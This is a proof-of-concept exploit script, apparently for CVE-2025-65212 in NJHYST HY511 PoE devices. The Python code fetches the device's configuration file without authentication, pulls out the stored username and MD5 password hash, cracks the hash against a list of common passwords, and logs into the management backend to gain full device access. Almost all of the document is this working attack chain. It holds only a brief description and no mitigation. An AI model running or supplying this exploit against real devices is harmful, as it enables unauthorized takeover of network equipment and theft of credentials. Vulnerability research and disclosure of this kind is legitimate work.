CVE-2025-65212 | NJHYST HY511 POE设备未授权访问漏洞

import requests import hashlib import re # CVE-2025-65212 PoC - NJHYST HY511 POE Unauthenticated Config Download # Author: Security Researcher # Description: This PoC demonstrates the authentication bypass vulnerability # in NJHYST HY511 POE devices where configuration files can be downloaded # without proper session validation. TARGET_HOST = "http://target-device-ip" CONFIG_PATH = "/cgi-bin/cgi_config_download" # Common config download endpoint def exploit_unauthorized_access(): """ Step 1: Download configuration file without authentication The device does not validate session cookies for config file requests """ print("[+] Attempting to download configuration file...") # Direct request to config file - no authentication required url = f"{TARGET_HOST}{CONFIG_PATH}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "*/*" } try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print("[+] Configuration file downloaded successfully!") config_data = response.text # Step 2: Extract username and MD5 password from config username = re.search(r'username=(\w+)', config_data) md5_password = re.search(r'password=([a-f0-9]{32})', config_data) if username and md5_password: print(f"[+] Found username: {username.group(1)}") print(f"[+] Found MD5 password hash: {md5_password.group(1)}") # Step 3: Decrypt the MD5 password (simple MD5 crack) # Since the device uses weak self-decrypting MD5, try common passwords cracked_password = crack_md5_password(md5_password.group(1)) if cracked_password: print(f"[+] Cracked password: {cracked_password}") # Step 4: Login to the device backend login_and_access_backend(username.group(1), cracked_password) else: print(f"[-] Failed to download config. Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def crack_md5_password(md5_hash): """ Attempt to crack MD5 password using common/default passwords """ common_passwords = ['admin', 'password', '123456', 'admin123', 'root', 'default', '12345', 'admin@123', 'poe_admin', 'config'] for pwd in common_passwords: if hashlib.md5(pwd.encode()).hexdigest() == md5_hash: return pwd return None def login_and_access_backend(username, password): """ Step 4: Use obtained credentials to login to the management backend This demonstrates complete authentication bypass """ print(f"[+] Attempting to login with credentials: {username}/{password}") login_url = f"{TARGET_HOST}/cgi-bin/login" data = { "username": username, "password": password } try: response = requests.post(login_url, data=data, timeout=10, verify=False) if response.status_code == 200 and 'session' in response.cookies: print("[+] Successfully logged in to backend!") print("[+] Full device access obtained - Authentication Bypass Confirmed") return True except requests.exceptions.RequestException: pass print("[-] Login failed") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-65212 PoC - NJHYST HY511 POE Authentication Bypass") print("=" * 60) exploit_unauthorized_access()